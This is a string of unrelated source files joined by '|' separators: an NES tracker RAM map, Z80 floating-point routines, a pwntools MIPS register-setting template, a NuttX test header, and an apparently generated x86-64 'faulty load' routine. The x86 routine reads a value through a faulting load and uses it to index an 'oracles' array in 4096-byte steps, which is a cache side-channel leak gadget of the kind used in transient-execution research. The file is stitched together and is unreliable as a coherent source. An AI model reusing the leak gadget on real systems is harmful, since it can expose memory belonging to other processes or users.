arpNotesC4: .RES 2
noteNumberC5: .RES 1 ;need to be in this order for arpeggio
arpNotesC5: .RES 2
noteNumberD0: .RES 1 ;need to be in this order for arpeggio
arpNotesD0: .RES 2
noteNumberD1: .RES 1 ;need to be in this order for arpeggio
arpNotesD1: .RES 2
noteNumberD2: .RES 1 ;need to be in this order for arpeggio
arpNotesD2: .RES 2
noteNumberD3: .RES 1 ;need to be in this order for arpeggio
arpNotesD3: .RES 2
noteNumberD4: .RES 1 ;need to be in this order for arpeggio
arpNotesD4: .RES 2
noteNumberD5: .RES 1 ;need to be in this order for arpeggio
arpNotesD5: .RES 2
noteNumberE0: .RES 1
noteNumberE1: .RES 1
noteNumberE2: .RES 1
noteNumberE3: .RES 1
noteNumberE4: .RES 1
noteNumberE5: .RES 1
noteCounter: .RES 1
sampleNumber0: .RES 1
sampleNumber1: .RES 1
sampleNumber2: .RES 1
sampleNumber3: .RES 1
sampleNumber4: .RES 1
sampleNumber5: .RES 1
samplePitch0: .RES 1
samplePitch1: .RES 1
samplePitch2: .RES 1
samplePitch3: .RES 1
samplePitch4: .RES 1
samplePitch5: .RES 1
sampleStartOffset0: .RES 1
sampleStartOffset1: .RES 1
sampleStartOffset2: .RES 1
sampleStartOffset3: .RES 1
sampleStartOffset4: .RES 1
sampleStartOffset5: .RES 1
sampleEndOffset0: .RES 1
sampleEndOffset1: .RES 1
sampleEndOffset2: .RES 1
sampleEndOffset3: .RES 1
sampleEndOffset4: .RES 1
sampleEndOffset5: .RES 1
sampleLoopSwitch0: .RES 1
sampleLoopSwitch1: .RES 1
sampleLoopSwitch2: .RES 1
sampleLoopSwitch3: .RES 1
sampleLoopSwitch4: .RES 1
sampleLoopSwitch5: .RES 1
freqLoA: .RES numberOfTracks ;noise pitch goes here
freqHiA: .RES numberOfTracks
freqHiOldA: .RES numberOfTracks
freqLoB: .RES numberOfTracks ;noise pitch goes here
freqHiB: .RES numberOfTracks
freqHiOldB: .RES numberOfTracks
freqLoC: .RES numberOfTracks ;noise pitch goes here
freqHiC: .RES numberOfTracks
freqLoD: .RES numberOfTracks
lfoCounterA: .RES numberOfTracks
lfoDelCounterA: .RES numberOfTracks
lfoPhaseA: .RES numberOfTracks
lfoCounterB: .RES numberOfTracks
lfoDelCounterB: .RES numberOfTracks
lfoPhaseB: .RES numberOfTracks
lfoCounterC: .RES numberOfTracks
lfoDelCounterC: .RES numberOfTracks
lfoPhaseC: .RES numberOfTracks
lfoCounterD: .RES numberOfTracks
lfoDelCounterD: .RES numberOfTracks
lfoPhaseD: .RES numberOfTracks
envPhaseA: .RES numberOfTracks
envCounterA: .RES numberOfTracks
envAmpIndexA: .RES numberOfTracks
envGateTimerA: .RES numberOfTracks
envPhaseB: .RES numberOfTracks
envCounterB: .RES numberOfTracks
envAmpIndexB: .RES numberOfTracks
envGateTimerB: .RES numberOfTracks
envPhaseC: .RES numberOfTracks
envCounterC: .RES numberOfTracks
envAmpIndexC: .RES numberOfTracks
envGateTimerC: .RES numberOfTracks
envPhaseD: .RES numberOfTracks
envCounterD: .RES numberOfTracks
envAmpIndexD: .RES numberOfTracks
envGateTimerD: .RES numberOfTracks
dutyIndexA: .RES numberOfTracks
dutyCounterA: .RES numberOfTracks
dutyWidthA: .RES numberOfTracks
dutyIndexB: .RES numberOfTracks
dutyCounterB: .RES numberOfTracks
dutyWidthB: .RES numberOfTracks
hardFreqA: .RES numberOfTracks
hardFreqB: .RES numberOfTracks
detuneA: .RES numberOfTracks
detuneB: .RES numberOfTracks
detuneC: .RES numberOfTracks
slideA: .RES numberOfTracks
slideB: .RES numberOfTracks
slideC: .RES numberOfTracks
plyrDpcmOn: .RES numberOfTracks
voiceActive: .RES numberOfTracks
noteTrack: .RES numberOfTracks
lastNoteTrack: .RES numberOfTracks
retriggerSpeed: .RES numberOfTracks
retriggerCount: .RES numberOfTracks
retriggerTemp: .RES 1
triggerTmp: .RES 4
patternIndex: .RES 1
plyrCurrentPattern:
.RES 1
plyrNextPattern:
.RES 1
plyrSongBar: .RES 1
editorSongBar: .RES 1
plyrTrackDrum: .RES numberOfTracks
plyrTrackPhrase:
.RES numberOfTracks
plyrPatternSpeed:
.RES 1
plyrPatternGroove:
.RES 1
plyrPatternEcho:
.RES 6
drumParameters: .RES bytesPerDrum * numberOfTracks
drumParameters0 = drumParameters + (0 * bytesPerDrum)
drumParameters1 = drumParameters + (1 * bytesPerDrum)
drumParameters2 = drumParameters + (2 * bytesPerDrum)
drumParameters3 = drumParameters + (3 * bytesPerDrum)
drumParameters4 = drumParameters + (4 * bytesPerDrum)
drumParameters5 = drumParameters + (5 * bytesPerDrum)
;------------------------------------------------------------------------------
; SCREEN BUFFERS
;------------------------------------------------------------------------------
scnGridBuffer: .RES 96
scnTriggerBuffer:
.RES 11
scnVoiceABuffer:
.RES 22 ;0
scnVoiceBBuffer:
.RES 22 ;22
scnVoiceCBuffer:
.RES 14 ;44
scnVoiceDBuffer:
.RES 14 ;58
scnVoiceEBuffer:
.RES 10 ;72
scnDrumAuxBuffer:
.RES 14 ;82
scnTrackDrumBuffer:
.RES numberOfTracks * 4
scnGridPatternBuffer:
.RES 8
scnCopyInfoBuffer:
.RES 28
scnSongBuffer:
.RES 14
;------------------------------------------------------------------------------
; EDITOR VARS
;------------------------------------------------------------------------------
editorMode: .RES 1
previousEditorMode:
.RES 1
editorDrumSubMode:
.RES 1
editorDrumAuxIndex:
.RES 1
editorCursorX: .RES 1
editorCursorY: .RES 1
editorCursorMode:
.RES 1
cursorX_grid: .RES 1
cursorY_grid: .RES 1
cursorX_trigger:
.RES 1
cursorY_trigger:
.RES 1
cursorX_drum: .RES 1
cursorY_drum: .RES 1
cursorY_editMenu:
.RES 1
cursorX_track: .RES 1
cursorDrumMin: .RES 1
cursorDrumMax: .RES 1
editorSubModeIndexes:
.RES 5
editPatternInfoSubMode:
.RES 1
lastDrumParameterValue:
.RES 1
editorEditDrumName:
.RES 1
editorCurrentPattern:
.RES 1
editorTrackLastNote:
.RES numberOfTracks
editorTrackLastTrigger:
.RES numberOfTracks
editorTriggerIndex:
.RES numberOfTracks
editSongIndex: .RES 1
editSongMode: .RES 1
editSongModeRecord:
.RES 1
editorCurrentSong:
.RES 1
plyrCurrentSong:
.RES 1
keyRepeatRateUD:
.RES 1
keyRepeatUD: .RES 1
keyRepeatOldUD: .RES 1
keyRepeatCounterUD:
.RES 1
keyRepeatRateLR:
.RES 1
keyRepeatLR: .RES 1
keyRepeatOldLR: .RES 1
keyRepeatCounterLR:
.RES 1
keyRepeatB: .RES 1
keyReleaseB: .RES 1
keyStopB: .RES 1
keyRepeatA: .RES 1
keyReleaseA: .RES 1
keyDelayB: .RES 1
keyDelayA: .RES 1
keyDelayUD: .RES 1
keyDelayLR: .RES 1
keyRepeatStart: .RES 1
keyReleaseStart:
.RES 1
keyRepeatSelect:
.RES 1
keyReleaseSelect:
.RES 1
cursorFlashIndex:
.RES 1
cursorFlashColour:
.RES 1
editorCurrentDrum:
.RES 1
editorTrackDrum:
.RES numberOfTracks
editorTrackPhrase:
.RES numberOfTracks
editorPatternSpeed:
.RES 1
editorPatternGroove:
.RES 1
editorPatternSteps:
.RES 1
.RES 1 ;padding
triggerCopyBuffer:
.RES 5
editorTrackWipeSpeed:
.RES 1
editorMeterCounters:
.RES numberOfTracks
editorChannelStatus:
.RES numberOfTracks
editorSoloChannel:
.RES 1
editorMuteFlashIndex:
.RES 1
editorCopyInfoTimer:
.RES 1
editorForceTrackLoad:
.RES 1
editMenuActive: .RES 1
editorModeBeforeMenu:
.RES 1
editCopyBuffer:
.RES 1
.RES stepsPerPhrase * bytesPerPhraseStep
plyrMode: .RES 1
plyrModeOld: .RES 1
editorWaitForAB:
.RES 1
editorWaitForClone:
.RES 1
editorPhraseForClone:
.RES 1
editorPatternToCheck:
.RES 2
editorFoundEmpty:
.RES 1
editorPatternForClone = editorPhraseForClone
editorSongToCheck = editorPatternToCheck
editorLastDrumValue:
.RES 1
editorLastPhraseValue:
.RES 1
editorLastSongLoop:
.RES 1
plyrEchoIndex: .RES 1
plyrEchoSpeed: .RES 1
plyrEchoAttn: .RES 1
plyrEchoInitAttnA:
.RES 1
plyrEchoInitAttnB:
.RES 1
plyrEchoInitAttnD:
.RES 1
plyrEchoSelect:
.RES 1
plyrEchoCounter:
.RES 1
plyrEchoNoteCount:
.RES 1
plyrEchoWrite: .RES 3
editorEditingValue:
.RES 1
editorEditingBuffer:
.RES 1
editorSongSpeedTemp:
.RES 1
editorSongSwingTemp:
.RES 1
editorSongLoopStartTemp:
.RES 1
editorSongLoopLengthTemp:
.RES 1
editorSongLastPattern:
.RES 1
old4017: .RES 1
newStepNeeded:
.RES 1
;------------------------------------------------------------------------------
; WRAM MAP
;------------------------------------------------------------------------------
WRAM = $6000
.segment "WRAM0"
PR8_HEADER:
.RES 32
phrases0:
.REPEAT phrasesPerBank
.RES stepsPerPhrase * bytesPerPhraseStep
.ENDREPEAT
phraseUsed_0:
.RES phrasesPerBank
.segment "WRAM1"
phrases1:
.REPEAT phrasesPerBank
.RES stepsPerPhrase * bytesPerPhraseStep
.ENDREPEAT
phraseUsed_1:
.RES phrasesPerBank
.segment "WRAM2"
patterns:
.RES numberOfPatterns * bytesPerPattern ;$1000
phrasesUsed:
.RES numberOfPhrases ;$00C0
songLoopStartTable:
.RES numberOfSongs
songLoopLengthTable:
.RES numberOfSongs
songSpeedTable:
.RES numberOfSongs
songSwingTable:
.RES numberOfSongs
songEchoSelect:
.RES numberOfPatterns
songEchoLevelA:
.RES numberOfPatterns
songEchoLevelB:
.RES numberOfPatterns
songEchoLevelD:
.RES numberOfPatterns
songEchoDecay:
.RES numberOfPatterns
songEchoSpeed:
.RES numberOfPatterns
songs:
.RES numberOfSongs * bytesPerSong
patternsUsed:
.RES numberOfPatterns
.segment "WRAM3"
drums:
.RES numberOfDrums * bytesPerDrum
echoBufferA_0:
.RES SIZE_OF_ECHO_BUFFER
echoBufferA_2:
.RES SIZE_OF_ECHO_BUFFER
echoBufferA_3:
.RES SIZE_OF_ECHO_BUFFER
echoBufferB_0:
.RES SIZE_OF_ECHO_BUFFER
echoBufferB_2:
.RES SIZE_OF_ECHO_BUFFER
echoBufferB_3:
.RES SIZE_OF_ECHO_BUFFER
echoBufferD_0:
.RES SIZE_OF_ECHO_BUFFER
echoBufferD_2:
.RES SIZE_OF_ECHO_BUFFER
nmiCounter:
.RES 1
;------------------------------------------------------------------------------
; Equates Based on RAM Vars
;------------------------------------------------------------------------------
VAPU_00 = VAPU
VAPU_01 = VAPU_00+1
VAPU_02 = VAPU_01+1
VAPU_03 = VAPU_02+1
VAPU_04 = VAPU_03+1
VAPU_05 = VAPU_04+1
VAPU_06 = VAPU_05+1
VAPU_07 = VAPU_06+1
VAPU_08 = VAPU_07+1
VAPU_09 = VAPU_08+1
VAPU_0A = VAPU_09+1
VAPU_0B = VAPU_0A+1
VAPU_0C = VAPU_0B+1
VAPU_0D = VAPU_0C+1
VAPU_0E = VAPU_0D+1
VAPU_0F = VAPU_0E+1
VAPU_10 = VAPU_0F+1
VAPU_11 = VAPU_10+1
VAPU_12 = VAPU_11+1
VAPU_13 = VAPU_12+1
VAPU_14 = VAPU_13+1
VAPU_15 = VAPU_14+1
VAPU_16 = VAPU_15+1
VAPU_17 = VAPU_16+1
VAPU_18 = VAPU_17+1
|
;
; Z88dk Generic Floating Point Math Library
;
; divide bc ix de by FA, leave result in FA
;
; $Id: fdiv.asm,v 1.2 2012/04/17 16:37:46 stefano Exp $
XLIB fdiv
LIB sgn
LIB div14
LIB pack2
LIB norm4
XREF FA
XREF EXTRA
.fdiv
call sgn
ret z ;dividing by zero..
LD L,$FF ;"quotient" flag
CALL DIV14 ;find quotient exponent
PUSH IY
INC (HL)
INC (HL)
DEC HL
PUSH HL ; c' h'l' d'e' (divisor) = FA...
EXX
POP HL
LD C,(HL)
DEC HL
LD D,(HL)
DEC HL
LD E,(HL)
DEC HL
LD A,(HL)
DEC HL
LD L,(HL)
LD H,A
EX DE,HL
EXX
LD B,C ; b iy hl (dividend) = c ix de...
EX DE,HL
PUSH IX
POP IY
XOR A ; c ix de (quotient) = 0...
LD C,A
LD D,A
LD E,A
LD IX,0
LD (EXTRA),A
.DIV2 PUSH HL ;save b iy hl in case the subtraction
PUSH IY ; proves to be unnecessary
PUSH BC
PUSH HL ; EXTRA b iy hl (dividend) -=
LD A,B ; c' h'l' d'e' (divisor)...
EXX
EX (SP),HL
OR A
SBC HL,DE
EX (SP),HL
EX DE,HL
PUSH IY
EX (SP),HL
SBC HL,DE
EX (SP),HL
POP IY
EX DE,HL
SBC A,C
EXX
POP HL
LD B,A
LD A,(EXTRA)
SBC A,0
CCF
JR NC,DIV4 ; nc => subtraction caused carry
LD (EXTRA),A
POP AF ;discard saved value of dividend...
POP AF
POP AF
SCF
JR DIV6
.DIV4 POP BC ;restore dividend...
POP IY
POP HL
;
.DIV6 INC C
DEC C
RRA
JP M,DIV12
RLA ;shift c ix de a (quotient) left by 1...
RL E
RL D
EX AF,AF' ;(these 6 lines are adc ix,ix...)
ADD IX,IX
EX AF,AF'
JR NC,DIV8
INC IX
.DIV8 EX AF,AF'
RL C ;...end of c ix de a shifting
ADD HL,HL ;shift EXTRA b iy hl left by 1...
EX AF,AF'
ADD IY,IY
EX AF,AF'
JR NC,DIV9
INC IY
.DIV9 EX AF,AF'
RL B
LD A,(EXTRA)
RLA
LD (EXTRA),A ;...end of EXTRA b iy hl shifting
LD A,C ;test c ix de...
OR D
OR E
OR IXH
OR IXL ;...end of c ix de testing
JR NZ,DIV2 ;nz => dividend nonzero
PUSH HL
LD HL,FA+5
DEC (HL)
POP HL
JR NZ,DIV2
ret ;overflow?
; JR OFLOW2
;
.DIV12 POP IY
JP PACK2
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r8
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0xb281, %r12
nop
nop
nop
nop
nop
add %rdi, %rdi
movw $0x6162, (%r12)
nop
nop
nop
and %r9, %r9
lea addresses_UC_ht+0x17481, %rax
nop
nop
nop
nop
nop
inc %r10
mov $0x6162636465666768, %rcx
movq %rcx, (%rax)
dec %rdi
lea addresses_normal_ht+0x19965, %rdi
nop
nop
nop
cmp %r8, %r8
movl $0x61626364, (%rdi)
nop
nop
nop
nop
cmp $64494, %r9
lea addresses_D_ht+0xbe81, %rsi
lea addresses_normal_ht+0xc371, %rdi
nop
xor %rax, %rax
mov $127, %rcx
rep movsl
nop
nop
nop
dec %rsi
lea addresses_WC_ht+0x14e81, %rcx
nop
nop
nop
cmp %r12, %r12
mov $0x6162636465666768, %rax
movq %rax, %xmm5
and $0xffffffffffffffc0, %rcx
movaps %xmm5, (%rcx)
nop
nop
nop
nop
cmp %r10, %r10
lea addresses_UC_ht+0x1d641, %rsi
lea addresses_WC_ht+0x189c1, %rdi
nop
nop
nop
add $15735, %r9
mov $2, %rcx
rep movsq
nop
nop
nop
nop
and %r9, %r9
lea addresses_UC_ht+0x19a81, %rsi
lea addresses_UC_ht+0x169a3, %rdi
nop
and $24033, %r12
mov $92, %rcx
rep movsq
nop
sub %r10, %r10
lea addresses_UC_ht+0x18ff5, %r8
and %rsi, %rsi
movb (%r8), %r9b
nop
xor %r10, %r10
lea addresses_WC_ht+0x8e81, %r8
nop
nop
nop
nop
nop
and %rcx, %rcx
mov $0x6162636465666768, %rdi
movq %rdi, %xmm7
movups %xmm7, (%r8)
nop
xor %r9, %r9
lea addresses_normal_ht+0x6e81, %rsi
lea addresses_D_ht+0x193c1, %rdi
nop
nop
and %r10, %r10
mov $18, %rcx
rep movsw
nop
nop
mfence
lea addresses_WT_ht+0x10551, %rsi
lea addresses_normal_ht+0x9d21, %rdi
nop
nop
nop
nop
sub $390, %r8
mov $14, %rcx
rep movsq
nop
nop
inc %r9
lea addresses_WT_ht+0x1ee81, %r8
nop
nop
sub $776, %r12
mov (%r8), %ecx
nop
nop
nop
nop
sub %r10, %r10
lea addresses_UC_ht+0x19381, %rsi
lea addresses_UC_ht+0x7299, %rdi
clflush (%rdi)
nop
cmp %r10, %r10
mov $65, %rcx
rep movsl
nop
nop
nop
nop
nop
xor %rax, %rax
lea addresses_WT_ht+0x97dd, %r12
nop
and %r10, %r10
vmovups (%r12), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $1, %xmm7, %r8
nop
nop
nop
nop
cmp %r10, %r10
lea addresses_A_ht+0x1981, %r12
nop
nop
nop
xor $27506, %r9
mov (%r12), %r8w
nop
nop
nop
dec %rax
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r15
push %rcx
push %rdi
push %rdx
push %rsi
// REPMOV
lea addresses_PSE+0x1a781, %rsi
lea addresses_WC+0xce81, %rdi
nop
nop
nop
nop
dec %r14
mov $29, %rcx
rep movsl
nop
nop
nop
nop
cmp $36188, %rdx
// Store
lea addresses_RW+0x182c3, %r12
nop
nop
nop
nop
nop
cmp $32013, %r15
movb $0x51, (%r12)
nop
nop
nop
nop
cmp $19340, %rsi
// Load
lea addresses_US+0x1681, %r15
inc %rsi
mov (%r15), %r14w
cmp %rsi, %rsi
// Store
lea addresses_D+0x422d, %r12
nop
nop
nop
nop
add %rdx, %rdx
mov $0x5152535455565758, %rdi
movq %rdi, %xmm2
vmovups %ymm2, (%r12)
nop
nop
nop
nop
sub %rdi, %rdi
// Faulty Load
lea addresses_US+0x1681, %rdi
nop
nop
nop
nop
sub $48448, %rdx
vmovups (%rdi), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $1, %xmm7, %r14
lea oracles, %rcx
and $0xff, %r14
shlq $12, %r14
mov (%rcx,%r14,1), %r14
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r15
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': False, 'type': 'addresses_US'}, 'OP': 'LOAD'}
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_PSE'}, 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_WC'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 1, 'same': False, 'type': 'addresses_RW'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': True, 'type': 'addresses_US'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 2, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_US'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 9, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 7, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 11, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 2, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 10, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 11, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 7, 'same': True, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 2, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 8, 'same': True, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
SECTION code_fp_mbf32
PUBLIC floor
EXTERN msbios
EXTERN ___mbf32_setup_single
EXTERN ___mbf32_return
EXTERN ___mbf32_FPADD
EXTERN ___mbf32_FPREG
EXTERN ___mbf32_discard_fraction
floor:
call ___mbf32_setup_single
call ___mbf32_discard_fraction
ld a,(___mbf32_FPREG+2) ;sign
rlca
jp nc,___mbf32_return
; This is negative, so we have to subtract one
ld bc,$8180
ld de,$0000
IF __CPU_INTEL__|__CPU_GBZ80__
call ___mbf32_FPADD
ELSE
ld ix,___mbf32_FPADD
call msbios
ENDIF
jp ___mbf32_return
|
<%
from pwnlib.regsort import regsort
from pwnlib.constants import Constant, eval
from pwnlib.shellcraft import registers
from pwnlib.shellcraft.mips import mov
%>
<%page args="reg_context, stack_allowed = True"/>
<%docstring>
Sets multiple registers, taking any register dependencies into account
(i.e., given eax=1,ebx=eax, set ebx first).
Args:
reg_context (dict): Desired register context
stack_allowed (bool): Can the stack be used?
Example:
>>> print shellcraft.setregs({'$t0':1, '$a3':'0'}).rstrip()
slti $a3, $zero, 0xFFFF /* $a3 = 0 */
li $t9, ~1
not $t0, $t9
>>> print shellcraft.setregs({'$a0':'$a1', '$a1':'$a0', '$a2':'$a1'}).rstrip()
sw $a1, -4($sp) /* mov $a2, $a1 */
lw $a2, -4($sp)
xor $a1, $a1, $a0 /* xchg $a1, $a0 */
xor $a0, $a1, $a0
xor $a1, $a1, $a0
</%docstring>
<%
reg_context = {k:v for k,v in reg_context.items() if v is not None}
sorted_regs = regsort(reg_context, registers.mips)
%>
% if not sorted_regs:
/* setregs noop */
% else:
% for how, src, dst in regsort(reg_context, registers.mips):
% if how == 'xchg':
xor ${dst}, ${dst}, ${src} /* xchg ${dst}, ${src} */
xor ${src}, ${dst}, ${src}
xor ${dst}, ${dst}, ${src}
% else:
${mov(src, dst)}
% endif
% endfor
% endif
|
/////////////////////////////////////////////////////////////////////////////
// apps/graphics/nxwidgets/UnitTests/CTextBox/ctextboxtest.hxx
//
// Copyright (C) 2012 Gregory Nutt. All rights reserved.
// Author: Gregory Nutt <gnutt@nuttx.org>
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions
// are met:
//
// 1. Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// 2. Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in
// the documentation and/or other materials provided with the
// distribution.
// 3. Neither the name NuttX, NxWidgets, nor the names of its contributors
// me be used to endorse or promote products derived from this software
// without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
// COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
// INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
// BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
// OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
// AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
// LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
// ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//
//////////////////////////////////////////////////////////////////////////////
#ifndef __APPS_GRAPHICS_NXWIDGETS_UNITTESTS_CTEXTBOX_CTEXTBOXTEST_HXX
#define __APPS_GRAPHICS_NXWIDGETS_UNITTESTS_CTEXTBOX_CTEXTBOXTEST_HXX
/////////////////////////////////////////////////////////////////////////////
// Included Files
/////////////////////////////////////////////////////////////////////////////
#include <nuttx/config.h>
#include <nuttx/init.h>
#include <cstdio>
#include <semaphore.h>
#include <debug.h>
#include <nuttx/nx/nx.h>
#include "graphics/nxwidgets/nxconfig.hxx"
#include "graphics/nxwidgets/cwidgetcontrol.hxx"
#include "graphics/nxwidgets/ccallback.hxx"
#include "graphics/nxwidgets/cbgwindow.hxx"
#include "graphics/nxwidgets/cnxserver.hxx"
#include "graphics/nxwidgets/cnxfont.hxx"
